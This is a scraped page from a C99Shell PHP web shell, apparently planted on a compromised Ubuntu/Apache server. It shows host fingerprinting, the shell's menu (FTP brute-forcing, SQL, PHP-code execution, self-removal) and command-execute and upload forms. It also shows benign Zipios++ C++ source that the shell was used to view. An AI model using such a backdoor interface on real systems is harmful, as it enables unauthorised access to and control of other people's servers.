!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/libzipios++-doc/html/   drwxr-xr-x
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     collcoll_8cpp_source.html (33.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Zipios++: collcoll.cpp Source File
Zipios++
collcoll.cpp
Go to the documentation of this file.
1 
2 #include "zipios++/zipios-config.h"
3 
4 #include "zipios++/meta-iostreams.h"
5 
6 #include "zipios++/collcoll.h"
7 #include "zipios_common.h"
8 
9 namespace zipios {
10 
11 using std::ifstream ;
12 
13 CollectionCollection *CollectionCollection::_inst = 0 ;
14 
15 
17  _valid = true ; // we're valid even though we are empty!
18 }
19 
20 
22  if ( ! _valid )
23  throw InvalidStateException( "Attempt to add a FileCollection to an invalid CollectionCollection" ) ;
24  if ( this == &collection || ! collection.isValid() )
25  return false ;
26  _collections.push_back( collection.clone() ) ;
27  return true ;
28 
29 }
30 
32  if ( ! _valid )
33  throw InvalidStateException( "Attempt to add a FileCollection to an invalid CollectionCollection" ) ;
34  if ( collection == 0 || this == collection || ! collection->isValid() )
35  return false ;
36  _collections.push_back( collection ) ;
37  return true ;
38 }
39 
40 
42  _valid = false ;
43 }
44 
45 
47  if ( ! _valid )
48  throw InvalidStateException( "Attempt to get entries from an invalid CollectionCollection" ) ;
49 
50  ConstEntries all_entries ;
51  std::vector< FileCollection * >::const_iterator it ;
52  for ( it = _collections.begin() ; it != _collections.end() ; it++ )
53  all_entries += (*it)->entries() ;
54  return all_entries ;
55 }
56 
57 
59  MatchPath matchpath ) const {
60  if ( ! _valid )
61  throw InvalidStateException( "Attempt to get an entry from an invalid CollectionCollection" ) ;
62  // Returns the first matching entry.
63  std::vector< FileCollection * >::const_iterator it ;
64  ConstEntryPointer cep ;
65 
66  getEntry( name, cep, it, matchpath ) ;
67 
68  return cep ;
69 }
70 
71 
73  if ( ! _valid )
74  throw InvalidStateException( "Attempt to get an input stream from an invalid CollectionCollection" ) ;
75 
76  return getInputStream( entry->getName() ) ;
77 }
78 
79 
80 istream *CollectionCollection::getInputStream( const string &entry_name,
81  MatchPath matchpath ) {
82  if ( ! _valid )
83  throw InvalidStateException( "Attempt to get an input stream from an invalid CollectionCollection" ) ;
84 
85  std::vector< FileCollection * >::const_iterator it ;
86  ConstEntryPointer cep ;
87 
88  getEntry( entry_name, cep, it, matchpath ) ;
89 
90  if ( cep == 0 )
91  return 0 ;
92  else
93  return (*it)->getInputStream( entry_name ) ;
94 
95 }
96 
97 
99  if ( ! _valid )
100  throw InvalidStateException( "Attempt to get the size of an invalid CollectionCollection" ) ;
101  int sz = 0 ;
102  std::vector< FileCollection * >::const_iterator it ;
103  for ( it = _collections.begin() ; it != _collections.end() ; it++ )
104  sz += (*it)->size() ;
105  return sz ;
106 }
107 
109  return new CollectionCollection( *this ) ;
110 }
111 
112 CollectionCollection::~CollectionCollection() {
113  std::vector< FileCollection * >::iterator it ;
114  for ( it = _collections.begin() ; it != _collections.end() ; ++it )
115  delete *it ;
116 }
117 
118 
119 //
120 // Protected member functions
121 //
122 
123 void CollectionCollection::getEntry( const string &name,
124  ConstEntryPointer &cep,
125  std::vector< FileCollection * >::const_iterator &it,
126  MatchPath matchpath ) const {
127 
128  // Returns the first matching entry.
129  cep = 0 ;
130  for ( it = _collections.begin() ; it != _collections.end() ; it++ ) {
131  cep = (*it)->getEntry( name, matchpath ) ;
132  if ( cep )
133  break ;
134  }
135 }
136 
137 
138 
139 } // namespace
140 
145 /*
146  Zipios++ - a small C++ library that provides easy access to .zip files.
147  Copyright (C) 2000 Thomas Søndergaard
148 
149  This library is free software; you can redistribute it and/or
150  modify it under the terms of the GNU Lesser General Public
151  License as published by the Free Software Foundation; either
152  version 2 of the License, or (at your option) any later version.
153 
154  This library is distributed in the hope that it will be useful,
155  but WITHOUT ANY WARRANTY; without even the implied warranty of
156  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
157  Lesser General Public License for more details.
158 
159  You should have received a copy of the GNU Lesser General Public
160  License along with this library; if not, write to the Free Software
161  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
162 */
virtual FileCollection * clone() const
Create a heap allocated clone of the object this method is called for.
Definition: collcoll.cpp:108
virtual FileCollection * clone() const =0
Create a heap allocated clone of the object this method is called for.
virtual istream * getInputStream(const ConstEntryPointer &entry)
Definition: collcoll.cpp:72
virtual ConstEntries entries() const
Definition: collcoll.cpp:46
bool isValid() const
The member function returns true if the collection is valid.
Definition: fcoll.h:93
virtual int size() const
Returns the number in entries in all collections kept by the CollectionCollection object.
Definition: collcoll.cpp:98
vector< EntryPointer > ConstEntries
ConstEntries is a vector of ConstEntryPointer's.
Definition: fileentry.h:43
virtual void close()
Closes the FileCollection.
Definition: collcoll.cpp:41
An object member function may throw this exception, if the operation it normally performs is inapprop...
SimpleSmartPointer is a simple reference counting smart pointer template.
virtual ConstEntryPointer getEntry(const string &name, MatchPath matchpath=MATCH) const
Definition: collcoll.cpp:58
CollectionCollection()
Constructor.
Definition: collcoll.cpp:16
bool addCollection(const FileCollection &collection)
Definition: collcoll.cpp:21

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0067 ]--